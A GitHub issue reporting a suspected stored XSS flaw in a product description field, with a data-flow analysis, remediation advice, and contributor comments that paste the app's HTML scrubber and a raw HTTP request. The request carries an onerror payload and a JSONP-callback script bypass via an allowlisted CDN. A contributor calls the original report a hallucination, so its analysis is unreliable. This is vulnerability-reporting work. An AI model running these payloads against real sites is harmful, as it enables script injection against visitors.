Skip to content

Stored XSS via Unsanitized Product Description #3

Open

Description

Vulnerability: Stored XSS via Product Description

Location: Product page rendering (/app/app/javascript/components/Product/index.tsx), originating from product update logic (/app/app/controllers/links_controller.rb and /app/app/services/save_public_files_service.rb).

Description:
When a seller updates a product, the description content is processed by SavePublicFilesService. This service uses Nokogiri::HTML.fragment to parse the description and primarily focuses on validating and cleaning <public-file-embed> tags.

# /app/app/services/save_public_files_service.rb
def process
  ActiveRecord::Base.transaction do
    # ... (logic for handling public-file-embed)
    doc = Nokogiri::HTML.fragment(content)
    # ...
    clean_invalid_file_embeds(doc, persisted_files)
    doc.to_html # Returns potentially unsanitized HTML
  end
end

The service does not appear to perform general HTML sanitization on the description content (content). It returns the processed HTML (doc.to_html), which is then saved to the product.description field in LinksController#update:

# /app/app/controllers/links_controller.rb
@product.description = SavePublicFilesService.new(..., content: @product.description).process
@product.save!

On the product page (/app/app/javascript/components/Product/index.tsx), during the initial render (pageLoaded is false), the component uses dangerouslySetInnerHTML to render product.description_html:

// /app/app/javascript/components/Product/index.tsx
{
  pageLoaded ? (
    <EditorContent className="rich-text" editor={descriptionEditor} />
  ) : (
    <div className="rich-text" dangerouslySetInnerHTML={{ __html: product.description_html ?? "" }} />
  )
}

If product.description_html is derived directly from the potentially unsanitized product.description saved by the backend (without an intermediate sanitization step during HTML generation), then any malicious HTML/JavaScript saved in the description by the seller will be rendered and executed in the browser of users visiting the product page.

Source: Product description field controlled by the seller.
Sink: dangerouslySetInnerHTML in /app/app/javascript/components/Product/index.tsx.
Sanitization: Incomplete; SavePublicFilesService doesn't sanitize general HTML. Vulnerability depends on whether description_html is generated safely before being passed to the frontend, but the direct sink usage suggests a potential gap.

Reproduction / Exploitation:

  1. As a seller, create or edit a product.
  2. In the description field, insert an XSS payload, e.g., <img src=x onerror=alert('XSS_in_Product_Description')>.
  3. Save the product.
  4. Visit the public page for that product as a different user (or logged out).
  5. If the vulnerability exists, the JavaScript payload should execute when the description is rendered.

Remediation:

  1. Backend Sanitization: Ensure that the product.description field is sanitized before saving using a robust HTML sanitizer (like rails-html-sanitizer) within the LinksController#update action or SavePublicFilesService. Remove any dangerous tags (<script>, <iframe>, etc.) and attributes (onerror, onload, etc.).
  2. Frontend Sanitization (Less Ideal): If backend sanitization is not feasible, ensure that the product.description_html prop passed to the frontend component is always generated through a safe process (e.g., Markdown rendering with sanitization enabled) before being sent in the initial page data. Avoid directly reflecting the raw saved description content.
  3. Avoid dangerouslySetInnerHTML: If possible, refactor the initial render to use the Tiptap EditorContent like the pageLoaded state, or render the description as plain text if HTML is not strictly required before the editor loads.

Activity

  1. msrkp commented on Apr 14, 2025

    @msrkp
    Contributor

    this is a hallucination, but aqctually could be a bug

    
        def description_scrubber
          unless Loofah::HTML5::SafeList::ACCEPTABLE_CSS_PROPERTIES.include?("position")
            # TODO (vishal): iframe.ly adds "position" style, which is not allowed by default.
            # We should be able to remove this once https://github.com/flavorjones/loofah/pull/258 is merged.
            Loofah::HTML5::SafeList::ACCEPTABLE_CSS_PROPERTIES.add("position")
          end
    
          Loofah::Scrubber.new do |node|
            if %w[strong b em u s h1 h2 h3 h4 h5 h6 pre code ul ol li hr blockquote p a figure figcaption img div span iframe script br upsell-card public-file-embed review-card].exclude?(node.name) && !node.text?
              node.remove
            elsif node.name == "iframe"
              if node["src"].present? && (URI.parse(node["src"]) rescue nil)&.host == "cdn.iframe.ly"
                node.attributes.each do |attr|
                  node.remove_attribute(attr.first) unless %w[src frameborder allowfullscreen scrolling allow style].include?(attr.first)
                end
              else
                node.remove
              end
            elsif node.name == "script" && !(node["src"].present? && (URI.parse(node["src"]) rescue nil)&.host == "cdn.iframe.ly")
              node.remove
            elsif node.name == "upsell-card"
              node.attributes.each do |attr|
                node.remove_attribute(attr.first) unless %w[id productid discount].include?(attr.first)
              end
            elsif node.name == "review-card"
              node.attributes.each do |attr|
                node.remove_attribute(attr.first) unless %w[reviewid].include?(attr.first)
              end
              begin
                review_data = node["reviewid"]
                unless product_reviews.find_by_external_id(review_data)
                  node.remove
                end
              end
            else
              Loofah::HTML5::Scrub.scrub_attributes(node)
            end
            # WebViews in native apps don't have a base URL, so the protocol can't be determined automatically for URLs starting with //
            if %w[iframe script img].include?(node.name) && node["src"]&.start_with?("//")
              node.attribute("src").value = "#{PROTOCOL}:#{node["src"]}"
            end
          end
        end```
    
  2. msrkp commented on Apr 14, 2025

    @msrkp
    Contributor

    https://9912484174829.gumroad.dev/l/ro jsonp callback not ful xss

    POST /links/ro HTTP/1.1
    Host: gumroad.dev
    Content-Length: 2280
    Sec-Ch-Ua-Platform: "macOS"
    X-Csrf-Token: vGjC7N_hQcq9s1aAMSiGYDKwwAdtVyOj7gUsEGjIMBkKpmsRkhvEua8iu7OyGaHcwa5ftQbKvXS18cn-nhuZeg
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
    Accept: application/json, text/html
    Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
    Content-Type: application/json
    Sec-Ch-Ua-Mobile: ?0
    Origin: https://gumroad.dev
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: javascript:alert(1)
    Accept-Encoding: gzip, deflate, br
    Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,te;q=0.7
    Priority: u=1, i
    Connection: keep-alive
    
    {"name":"test","custom_permalink":null,"description":"<p>hiefindme<img src=x onerror=alert(1) /><script src='https://cdn.iframe.ly/api/iframely/?url=https://google.com&api_key=6317bed3ca048a1a75d850&import=0&callback=alert&format=xml'></script></p>","price_cents":0,"customizable_price":true,"suggested_price_cents":null,"eligible_for_installment_plans":true,"allow_installment_plan":false,"installment_plan":null,"custom_button_text_option":null,"custom_summary":null,"custom_attributes":[],"file_attributes":[],"max_purchase_count":null,"quantity_enabled":false,"can_enable_quantity":true,"should_show_sales_count":false,"is_epublication":false,"product_refund_policy_enabled":false,"refund_policy":{"allowed_refund_periods_in_days":[{"key":0,"value":"No refunds allowed"},{"key":7,"value":"7-day money back guarantee"},{"key":14,"value":"14-day money back guarantee"},{"key":30,"value":"30-day money back guarantee"},{"key":183,"value":"6-month money back guarantee"}],"max_refund_period_in_days":30,"fine_print":null,"fine_print_enabled":false,"title":"30-day money back guarantee"},"covers":[],"is_published":true,"require_shipping":false,"integrations":{"circle":null,"discord":null,"zoom":null,"google_calendar":null},"variants":[],"availabilities":[],"shipping_destinations":[],"section_ids":[],"taxonomy_id":"343","tags":[],"display_product_reviews":true,"is_adult":false,"discover_fee_per_thousand":300,"custom_domain":"","free_trial_enabled":false,"free_trial_duration_amount":null,"free_trial_duration_unit":null,"should_include_last_post":false,"should_show_all_posts":false,"block_access_after_membership_cancellation":false,"duration_in_months":null,"subscription_duration":null,"collaborating_user":null,"rich_content":[],"files":[],"has_same_rich_content_for_all_variants":false,"is_multiseat_license":false,"call_limitation_info":null,"native_type":"digital","cancellation_discount":null,"public_files":[],"audio_previews_enabled":false,"community_chat_enabled":null}
    
  3. transferred this issue fromon Aug 13, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions